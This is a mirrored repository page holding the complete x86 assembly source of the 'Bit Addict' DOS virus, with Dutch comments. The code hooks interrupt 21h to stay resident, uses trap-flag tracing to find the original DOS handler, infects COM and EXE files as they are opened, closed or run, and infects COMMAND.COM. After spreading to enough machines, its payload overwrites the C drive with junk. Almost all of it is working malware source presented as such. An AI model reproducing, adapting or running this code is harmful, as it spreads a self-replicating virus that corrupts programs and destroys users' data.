mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
793 lines
16 KiB
NASM
793 lines
16 KiB
NASM
; Bit Addict Versie 4
|
||
|
||
;-----------------------------------------------------------------------------
|
||
;----- -----
|
||
;----- Macros en andere hulpmiddellen -----
|
||
;----- -----
|
||
;-----------------------------------------------------------------------------
|
||
|
||
; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
|
||
; wordt dan 128 bytes en er dus een foutmelding komt
|
||
|
||
dfn macro Num1,Num2
|
||
db Num1
|
||
dw offset Num2
|
||
endm
|
||
|
||
jmpc macro Dest ; vervanging voor jc
|
||
local @@00
|
||
|
||
jnc @@00
|
||
jmp Dest
|
||
@@00:
|
||
endm
|
||
|
||
jmpnc macro Dest ; vervanging voor jnc
|
||
local @@00
|
||
|
||
jc @@00
|
||
jmp Dest
|
||
@@00:
|
||
endm
|
||
|
||
jmpe macro Dest ; vervanging voor je
|
||
local @@00
|
||
|
||
jnz @@00
|
||
jmp Dest
|
||
@@00:
|
||
endm
|
||
|
||
jmpne macro Dest ; vervanging voor jne
|
||
local @@00
|
||
|
||
jz @@00
|
||
jmp Dest
|
||
@@00:
|
||
endm
|
||
|
||
eseg segment
|
||
mov ax,4c00h ; exit
|
||
int 21h
|
||
eseg ends
|
||
|
||
;-----------------------------------------------------------------------------
|
||
;----- -----
|
||
;----- Begin van het Bit Addict virus -----
|
||
;----- -----
|
||
;-----------------------------------------------------------------------------
|
||
|
||
cseg segment
|
||
assume cs:cseg,ds:cseg,es:cseg
|
||
org 0
|
||
|
||
BeginCode equ $ ; begin van het virus
|
||
|
||
CodeSize equ CodeEnd-BeginCode ; de grootte van het
|
||
CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h ; virus achter een file
|
||
|
||
VirusSize equ VirusEnd-BeginCode ; de grootte van het
|
||
VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h ; virus in het geheugen
|
||
|
||
HeaderLength equ 18h ; grootte van een
|
||
|
||
SavedCode equ this byte ; gegevens over het
|
||
OldSignature dw 5a4dh ; programma voor het
|
||
OldCSIP equ this dword ; virus
|
||
OldIP dw 0
|
||
OldCS dw 0
|
||
OldSP dw 200h
|
||
OldSS dw 0
|
||
OldPartPage dw 0
|
||
OldPageCount dw 0
|
||
|
||
Begin: push ax ; Programma om het virus
|
||
push ds ; resident te laten blijven
|
||
push es ; en om de comspec te
|
||
call Init ; infecteren
|
||
jnc @@12
|
||
call BiosCheck ; Als bit addict op een andere
|
||
push cs ; computer draait wordt er een
|
||
pop es ; teller verhoogt.
|
||
xor al,al
|
||
mov cx,VirusSize-CodeSize ; zet alle variabelen op nul
|
||
mov di,CodeSize
|
||
cld
|
||
rep stosb ; debug interrupt 21h om het
|
||
call DebugOn ; orginele interrupt te vinden
|
||
mov ah,52h
|
||
call DOS ; lees het adres van de eerste
|
||
push bx ; disk-buffer
|
||
mov ah,30h
|
||
call DOS
|
||
pop di
|
||
call DebugOff
|
||
cmp al,2 ; dit werkt niet op dos 1.x
|
||
jb @@12
|
||
cmp al,3 ; voor dos 2.x op di+13h en
|
||
adc di,12h ; voor dos 3+ op di+12h
|
||
lds si,es:[di]
|
||
or si,si
|
||
jne @@12
|
||
push di
|
||
cld
|
||
movsw ; reserveer 1e buffer
|
||
movsw
|
||
pop di
|
||
mov cx,ds
|
||
mov dx,ds
|
||
mov bx,3
|
||
@@10: call GetBuffer ; reserveer 2e,3e en 4e
|
||
jc @@11 ; buffer
|
||
dec bx
|
||
jne @@10
|
||
call CopyBitAddict ; Copieer bit addict naar
|
||
pop es ; de buffers
|
||
push es ; Infecteer bestand in de
|
||
call InfectComspec ; comspec
|
||
jmp short @@12
|
||
@@11: call RestoreBuffers ; voor als het fout gaat
|
||
@@12: pop es
|
||
pop ds ; ga nu verder met het
|
||
pop ax ; programma voor Bit Addict
|
||
cli
|
||
mov ss,cs:OldSS
|
||
mov sp,cs:OldSP
|
||
sti
|
||
jmp cs:OldCSIP
|
||
|
||
|
||
Comspec db 'COMSPEC=' ; comspec environment variabele
|
||
; om de command.com te vinden
|
||
|
||
ID dw 0DEADh ; hier wordt het virus herkend
|
||
; als het in het geheugen staat
|
||
|
||
Count dw 0 ; In deze variabele staat op
|
||
; hoeveel verschillende
|
||
; computers het virus is
|
||
; geweest
|
||
Bios db 10h dup(0) ; Gegevens over de bios,
|
||
; door dit te vergelijken met
|
||
; de bios kan het virus weten
|
||
; of het virus op een andere
|
||
; computer draait
|
||
|
||
GetBuffer: ; reserveer een buffer
|
||
push di ; cx = eerste buffer
|
||
push es ; dx = laatste buffer
|
||
jmp short @@21
|
||
@@20: push ds ; zoek een buffer die naast een
|
||
pop es ; gereserveerde buffer ligt, dus
|
||
mov di,si ; 21h voor cx, of 21h na dx.
|
||
@@21: lds si,es:[di]
|
||
or si,si
|
||
jne @@23
|
||
mov ax,ds
|
||
sub ax,dx
|
||
cmp ax,21h
|
||
jne @@22
|
||
mov dx,ds
|
||
cld
|
||
movsw
|
||
movsw
|
||
clc
|
||
jmp short @@24
|
||
@@22: mov ax,ds
|
||
sub ax,cx
|
||
cmp ax,-21h
|
||
jne @@20
|
||
mov cx,ds
|
||
cld
|
||
movsw
|
||
movsw
|
||
clc
|
||
jmp short @@24
|
||
@@23: stc
|
||
@@24: pop es
|
||
pop di
|
||
ret
|
||
|
||
CopyBitAddict:
|
||
push cs ; copieer Bit Addict naar de
|
||
pop ds ; gereserveerde buffers
|
||
mov es,cx
|
||
xor si,si
|
||
xor di,di
|
||
mov cx,VirusSize
|
||
cld
|
||
rep movsb
|
||
xor ax,ax ; leid interrupt 21h om naar
|
||
mov ds,ax ; Bit Addict
|
||
mov word ptr ds:[84h],offset NewInt21
|
||
mov word ptr ds:[86h],es
|
||
ret
|
||
|
||
InfectComspec:
|
||
mov es,es:[2ch] ; lees environment segment
|
||
xor di,di
|
||
push cs ; zoek naar de comspec
|
||
pop ds ; variabele
|
||
mov si,offset Comspec
|
||
@@30: push si
|
||
push di
|
||
mov cx,8
|
||
cld
|
||
repe cmpsb
|
||
pop di
|
||
pop si
|
||
je @@31
|
||
xor al,al
|
||
mov cx,-1
|
||
cld
|
||
repne scasb
|
||
cmp byte ptr es:[di],0 ; is dit de laatste variabele ?
|
||
jne @@30
|
||
jmp short @@33
|
||
@@31: push es ; infecteer de COMMAND.COM of
|
||
pop ds ; andere command interpreter,
|
||
cmp byte ptr ds:[di+9],':' ; maar doe dit alleen wanneer
|
||
jne @@32 ; de comspec naar de c of de
|
||
mov al,ds:[di+8] ; d-drive wijst.
|
||
and al,0dfh
|
||
cmp al,'C'
|
||
je @@32
|
||
cmp al,'D'
|
||
jne @@33
|
||
@@32: lea dx,[di+8]
|
||
push cs:OldIP ; bewaar alle variabelen die
|
||
push cs:OldCS ; we nog nodig hebben.
|
||
push cs:OldSP
|
||
push cs:OldSS
|
||
call Infect ; infecteren
|
||
pop cs:OldSS ; herstel alle variabelen die
|
||
pop cs:OldSP ; we nog nodig hebben
|
||
pop cs:OldCS
|
||
pop cs:OldIP
|
||
@@33: ret
|
||
|
||
RestoreBuffers: ; wanneer er niet genoeg
|
||
mov ax,cx ; buffers zijn, zet dan de
|
||
@@40: cmp ax,dx ; buffers weer terug in de
|
||
je @@42 ; keten, anders zal het
|
||
mov ds,ax ; systeem hangen.
|
||
add ax,21h
|
||
mov word ptr ds:[0],0
|
||
mov word ptr ds:[2],ax
|
||
jmp short @@40
|
||
@@42: mov ds,dx
|
||
mov ax,es:[di]
|
||
mov ds:[0],ax
|
||
mov word ptr es:[di],0
|
||
mov ax,es:[di+2]
|
||
mov ds:[2],ax
|
||
mov es:[di+2],cx
|
||
ret
|
||
|
||
DebugOn:push ax ; deze procedere is om de
|
||
push ds ; trap-flag te zetten, en
|
||
xor ax,ax ; interrupt 1 te initialiseren
|
||
mov ds,ax
|
||
cli
|
||
mov ax,ds:[4h]
|
||
mov word ptr cs:OldInt1[0],ax
|
||
mov ax,ds:[6h]
|
||
mov word ptr cs:OldInt1[2],ax
|
||
mov word ptr ds:[4],offset NewInt1
|
||
mov word ptr ds:[6],cs
|
||
mov ax,ds:[84h]
|
||
mov word ptr cs:OldInt21[0],ax
|
||
mov ax,ds:[86h]
|
||
mov word ptr cs:OldInt21[2],ax
|
||
mov word ptr cs:DosInt21[0],0
|
||
mov word ptr cs:DosInt21[2],0
|
||
pushf
|
||
pop ax
|
||
or ah,1
|
||
push ax
|
||
popf
|
||
sti
|
||
pop ds
|
||
pop ax
|
||
ret
|
||
|
||
DebugOff: ; deze procedure zet de
|
||
push ax ; trap-flag weer op nul en
|
||
push ds ; herstelt interrupt 1.
|
||
cli
|
||
pushf
|
||
pop ax
|
||
and ah,0feh
|
||
push ax
|
||
popf
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,word ptr cs:OldInt1[0]
|
||
mov ds:[4],ax
|
||
mov ax,word ptr cs:OldInt1[2]
|
||
mov ds:[6],ax
|
||
sti
|
||
pop ds
|
||
pop ax
|
||
ret
|
||
|
||
Init: push cs
|
||
pop ds
|
||
cmp OldSignature,5a4dh
|
||
je @@50
|
||
mov si,offset SavedCode ; herstel begin van het
|
||
mov di,100h ; com-programma
|
||
mov cx,Dead-ComHeader+2
|
||
cld
|
||
rep movsb
|
||
mov OldSS,ss ; bewaar de waarden van
|
||
mov OldSP,sp ; ss,sp,cs en ip
|
||
sub OldSP,10h
|
||
mov OldCS,es
|
||
mov OldIP,100h
|
||
jmp short @@51
|
||
@@50: mov ax,es ; bereken de waarden van
|
||
add ax,10h ; ss,sp,cs en ip
|
||
add OldCS,ax
|
||
add OldSS,ax
|
||
@@51: mov ax,4b40h ; controleer of Bit Addict al
|
||
int 21h ; in het geheugen aanwezig is
|
||
jc @@52
|
||
mov ds,ax
|
||
mov ax,word ptr ds:ID ; vergelijk identificatie
|
||
cmp ax,word ptr cs:ID
|
||
je @@52
|
||
stc
|
||
@@52: ret
|
||
|
||
BiosCheck: ; deze procedure vergelijkt
|
||
mov ax,0ffffh ; de bios, met de gegevens
|
||
mov ds,ax ; over de bios in het virus,
|
||
push cs ; zijn deze niet gelijk, dan
|
||
pop es ; zal het virus op een andere
|
||
xor si,si ; computer draaien, en wordt
|
||
mov di,offset Bios ; er een teller verhoogt, komt
|
||
mov cx,10h ; deze teller boven de 255 dan
|
||
cld ; zal het bit-addict virus
|
||
repe cmpsb ; actief worden.
|
||
je @@54
|
||
mov ax,cs:Count
|
||
inc ax
|
||
cmp ax,100h
|
||
jb @@53
|
||
call BitAddict
|
||
@@53: mov cs:Count,ax
|
||
xor si,si
|
||
mov di,offset Bios
|
||
mov cx,10h
|
||
rep movsb
|
||
@@54: ret
|
||
|
||
BitAddict: ; in deze procedure wordt
|
||
xor dx,dx ; de c-drive overscreven met
|
||
@@55: push dx ; onzin, dit mag verandert
|
||
mov ax,3 ; worden, om het virus iets
|
||
xor bx,bx ; anders te laten doen, een
|
||
mov cx,40h ; muziekje spelen, of met het
|
||
int 26h ; toetsenbord spelen
|
||
pop ax ; bijvoorbeeld.
|
||
pop dx
|
||
add dx,40h
|
||
or dx,dx
|
||
jne @@55
|
||
ret
|
||
|
||
NewInt1:push bp ; deze procedure wordt
|
||
mov bp,sp ; gebruikt bij het debuggen
|
||
push ax
|
||
mov ax,word ptr cs:DosInt21[0]
|
||
or ax,word ptr cs:DosInt21[2]
|
||
jnz @@60
|
||
cmp word ptr ss:[bp+4],300h
|
||
jae @@61
|
||
mov ax,ss:[bp+2]
|
||
mov word ptr cs:DosInt21[0],ax
|
||
mov ax,ss:[bp+4]
|
||
mov word ptr cs:DosInt21[2],ax
|
||
@@60: and word ptr ss:[bp+6],0feffh
|
||
@@61: pop ax
|
||
pop bp
|
||
iret
|
||
|
||
DOS: push ax ; roept interrupt 21h aan.
|
||
mov ax,word ptr cs:DosInt21[0]
|
||
or ax,word ptr cs:DosInt21[2]
|
||
pop ax
|
||
jnz @@62
|
||
pushf
|
||
call cs:OldInt21
|
||
ret
|
||
@@62: pushf
|
||
call cs:DosInt21
|
||
ret
|
||
|
||
Functions: ; dit is een tabel met alle
|
||
dfn 3ch,Open ; dos-functies die door
|
||
dfn 3dh,Open ; bit-addict verandert worden
|
||
dfn 3eh,Close
|
||
dfn 3fh,Read
|
||
dfn 40h,Write
|
||
dfn 4bh,Exec
|
||
|
||
NewInt21: ; Het nieuwe interrupt 21h
|
||
pushf
|
||
push bx
|
||
push bp
|
||
mov bp,sp
|
||
mov bx,offset Functions
|
||
@@63: cmp ah,cs:[bx]
|
||
je @@68
|
||
add bx,3
|
||
cmp bx,offset NewInt21
|
||
jne @@63
|
||
pop bp
|
||
pop bx
|
||
EOI: popf
|
||
jmp cs:OldInt21
|
||
@@68: mov bx,cs:[bx+1]
|
||
xchg bx,ss:[bp+2]
|
||
pop bp
|
||
ret
|
||
|
||
InstallCheck: ; Zo kan bit addict weten
|
||
mov ax,cs ; dat er al een andere copy
|
||
popf ; aanwezig is
|
||
clc
|
||
retf 2
|
||
|
||
Exec: cmp al,40h
|
||
je InstallCheck
|
||
call CheckExtension ; functie 4bh, infecteer eerst
|
||
jc EOI ; met Bit Addict
|
||
popf
|
||
push dx
|
||
push ds
|
||
pushf
|
||
call cs:OldInt21
|
||
pop ds
|
||
pop dx
|
||
pushf
|
||
call Infect
|
||
popf
|
||
retf 2
|
||
|
||
Open: call CheckExtension ; fn 3ch en 3dh
|
||
jc EOI
|
||
call cs:OldInt21
|
||
jc @@92
|
||
pushf
|
||
push ax
|
||
push cx
|
||
push si
|
||
push di
|
||
push es
|
||
push cs
|
||
pop es
|
||
mov si,dx
|
||
mov di,offset File1
|
||
cmp word ptr es:[di],0
|
||
je @@90
|
||
mov di,offset File2
|
||
cmp word ptr es:[di],0
|
||
jne @@91
|
||
@@90: cld
|
||
stosw
|
||
mov cx,70
|
||
rep movsb
|
||
@@91: pop es
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
popf
|
||
@@92: retf 2
|
||
|
||
Close: cmp bx,cs:File1 ; fn 3eh
|
||
je @@93
|
||
cmp bx,cs:File2
|
||
jne EOI
|
||
call cs:OldInt21
|
||
push si
|
||
mov si,offset File2
|
||
jmp short @@94
|
||
@@93: call cs:OldInt21
|
||
push si
|
||
mov si,offset File1
|
||
@@94: jc @@95
|
||
pushf
|
||
push dx
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
lea dx,[si+2]
|
||
call Infect
|
||
pop ds
|
||
pop dx
|
||
popf
|
||
@@95: mov word ptr cs:[si],0
|
||
pop si
|
||
retf 2
|
||
|
||
Read: jmp EOI ; fn 3fh
|
||
|
||
Write: jmp EOI ; fn 40h
|
||
|
||
CheckExtension: ; controleer of de extensie
|
||
push ax ; wel exe of com is
|
||
push cx
|
||
push si
|
||
push di
|
||
push es
|
||
push ds
|
||
pop es
|
||
mov di,dx ; zoek het einde van de
|
||
xor al,al ; file-naam
|
||
mov cx,70
|
||
cld
|
||
repne scasb
|
||
jne @@65
|
||
std
|
||
mov al,'.' ; zoek de laatste punt
|
||
neg cx
|
||
add cx,70
|
||
std
|
||
repne scasb
|
||
jne @@65
|
||
lea si,[di+2]
|
||
cld
|
||
lodsw ; eerste 2 letters
|
||
and ax,0dfdfh ; maak hoofdletters
|
||
cmp ax,5845h ; 'EX'
|
||
je @@64
|
||
cmp ax,4f43h ; 'CO'
|
||
jne @@65
|
||
lodsb ; 3e letter
|
||
and al,0dfh
|
||
cmp al,4dh ; 'M'
|
||
je @@66
|
||
jmp short @@65
|
||
@@64: lodsb ; 3e letter
|
||
and al,0dfh
|
||
cmp al,45h ; 'E'
|
||
je @@66
|
||
@@65: stc
|
||
jmp short @@67
|
||
@@66: clc
|
||
@@67: pop es
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
|
||
ComHeader: ; dit stukje wordt voor een
|
||
mov ax,cs ; COM-file geplaatst, en is om
|
||
add ax,0100h ; het virus te starten.
|
||
OldSize equ this word-2
|
||
push ax
|
||
mov ax,offset Begin
|
||
push ax
|
||
retf
|
||
Dead equ $
|
||
dw 0DEADh ; signature, om te controleren
|
||
; of een file al eens eerder
|
||
; besmet is.
|
||
|
||
Infect: push ax ; Infecteer een file
|
||
push bx
|
||
push cx
|
||
push si
|
||
push di
|
||
push bp
|
||
push es
|
||
mov ax,4300h ; lees attributen en bewaar
|
||
call DOS ; ze
|
||
jmpc @@83
|
||
push cx
|
||
push dx
|
||
push ds
|
||
test cx,1
|
||
jz @@71
|
||
mov ax,4301h ; set Read-Only attribuut
|
||
and cx,0fffeh ; op nul
|
||
call DOS
|
||
jmpc @@82
|
||
@@71: mov ax,3d02h ; open de file
|
||
call DOS
|
||
jmpc @@82
|
||
mov bx,ax
|
||
mov ax,5700h ; lees de datum en tijd en
|
||
call DOS ; bewaar ze
|
||
jmpc @@81
|
||
push cx
|
||
push dx
|
||
push cs ; ds=es=cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ah,3fh ; lees de header van de file
|
||
mov cx,HeaderLength
|
||
mov dx,offset Header
|
||
call DOS
|
||
jmpc @@80
|
||
cmp ax,HeaderLength
|
||
jne @@75
|
||
cmp Signature,5a4dh ; Controleer of ID aanwezig is
|
||
jne @@72
|
||
cmp ExeID,0DEADh
|
||
jmp @@73
|
||
@@72: cmp ComID,0DEADh
|
||
@@73: jmpe @@80 ; als ID aanwezig is, stop dan
|
||
@@74: cmp Signature,5a4dh
|
||
je @@77
|
||
@@75: mov ax,4202h ; infecteer com-files
|
||
xor cx,cx ; ga naar het einde van de file
|
||
xor dx,dx
|
||
call DOS
|
||
mov cx,10h ; aanpassen van de com-header
|
||
div cx ; aan deze com-file
|
||
or dx,dx
|
||
je @@76
|
||
push ax
|
||
mov ah,40h
|
||
mov cx,10h
|
||
sub cx,dx
|
||
xor dx,dx
|
||
call DOS
|
||
pop ax
|
||
jmpc @@80
|
||
inc ax
|
||
@@76: add ax,10h
|
||
mov OldSize,ax
|
||
mov si,offset Header ; bewaar het eerste deel van
|
||
mov di,offset SavedCode ; het programma
|
||
mov cx,Dead-ComHeader+2
|
||
cld
|
||
rep movsb
|
||
mov ah,40h ; schrijf het virus achter het
|
||
mov cx,CodeSize ; programma
|
||
xor dx,dx
|
||
call DOS
|
||
jmpc @@80
|
||
mov ax,4200h ; ga naar het begin van de file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call DOS
|
||
jmpc @@80
|
||
mov ah,40h ; overschrijf het begin van het
|
||
mov cx,Dead-ComHeader+2 ; programma met de com-header
|
||
mov dx,offset ComHeader
|
||
call DOS
|
||
jmp @@80
|
||
@@77: mov di,offset SavedCode ; infecteer exe-files
|
||
mov ax,5a4dh ; bewaar de oude waarden van
|
||
stosw ; cs:ip en ss:sp
|
||
mov ax,ExeIP
|
||
stosw
|
||
mov ax,ExeCS
|
||
stosw
|
||
mov ax,ExeSP
|
||
stosw
|
||
mov ax,ExeSS
|
||
stosw
|
||
mov ax,PartPage
|
||
stosw
|
||
mov ax,PageCount
|
||
stosw
|
||
mov ExeID,0DEADh ; Zet ID in exe-header
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h
|
||
mov cx,10h
|
||
div cx
|
||
or dx,dx
|
||
je @@78
|
||
push ax
|
||
push dx
|
||
mov ah,40h
|
||
mov cx,10h
|
||
sub cx,dx
|
||
xor dx,dx
|
||
call DOS
|
||
pop dx
|
||
pop ax
|
||
jc @@80
|
||
inc ax
|
||
@@78: sub ax,HeaderSize
|
||
mov ExeCS,ax
|
||
mov ExeIP,offset Begin
|
||
add ax,VirusSizePara
|
||
mov ExeSS,ax
|
||
mov ExeSP,200h
|
||
mov ax,MinMem
|
||
cmp ax,20h+VirusSizePara-CodeSizePara
|
||
jae @@79
|
||
mov ax,20h
|
||
@@79: mov MinMem,ax
|
||
mov ah,40h ; schrijf het virus achter
|
||
mov cx,CodeSize ; de exe-file
|
||
xor dx,dx
|
||
call DOS
|
||
jc @@80
|
||
mov ax,4202h ; Pas de file-lengte in de
|
||
xor cx,cx ; header aan, als de file veel
|
||
xor dx,dx ; overlays bevat, dan zal de
|
||
call DOS ; exe-file niet meer werken,
|
||
mov cx,200h ; maar de file kan wel hersteld
|
||
div cx ; worden.
|
||
cmp dx,1
|
||
cmc
|
||
adc ax,0
|
||
mov PageCount,ax
|
||
mov PartPage,dx
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx ; ga naar het begin van de file
|
||
call DOS
|
||
jc @@80
|
||
mov ah,40h ; schrijf de nieuwe exe-header
|
||
mov cx,HeaderLength ; over de oude heen.
|
||
mov dx,offset Header
|
||
call DOS
|
||
@@80: pop dx ; herstel de datum van de file
|
||
pop cx
|
||
mov ax,5701h
|
||
call DOS
|
||
@@81: mov ah,3eh ; sluit de file
|
||
call DOS
|
||
@@82: pop ds ; herstel de attributen van de
|
||
pop dx ; file
|
||
pop cx
|
||
test cx,1
|
||
jz @@83
|
||
mov ax,4301h
|
||
call DOS
|
||
@@83: pop es ; herstel de waarden van de
|
||
pop bp ; registers en keer terug
|
||
pop di ; naar het oude interrupt 21
|
||
pop si
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
CodeEnd equ $
|
||
|
||
Header dw HeaderLength/2 dup(0)
|
||
ComCS equ Header[OldSize-Comheader] ; Com file
|
||
ComID equ Header[Dead-ComHeader]
|
||
|
||
Signature equ Header[0h] ; Exe file
|
||
PartPage equ Header[2h]
|
||
PageCount equ Header[4h]
|
||
HeaderSize equ Header[8h]
|
||
MinMem equ Header[0ah]
|
||
MaxMem equ Header[0ch]
|
||
ExeSS equ Header[0eh]
|
||
ExeSP equ Header[10h]
|
||
ExeID equ Header[12h]
|
||
ExeIP equ Header[14h]
|
||
ExeCS equ Header[16h]
|
||
|
||
DosInt21 dd 0
|
||
OldInt21 dd 0
|
||
OldInt1 dd 0
|
||
|
||
File1 dw 36 dup(0)
|
||
File2 dw 36 dup(0)
|
||
|
||
VirusEnd equ $
|
||
|
||
cseg ends
|
||
|
||
sseg segment stack
|
||
db 200h dup(1)
|
||
sseg ends
|
||
|
||
end Begin |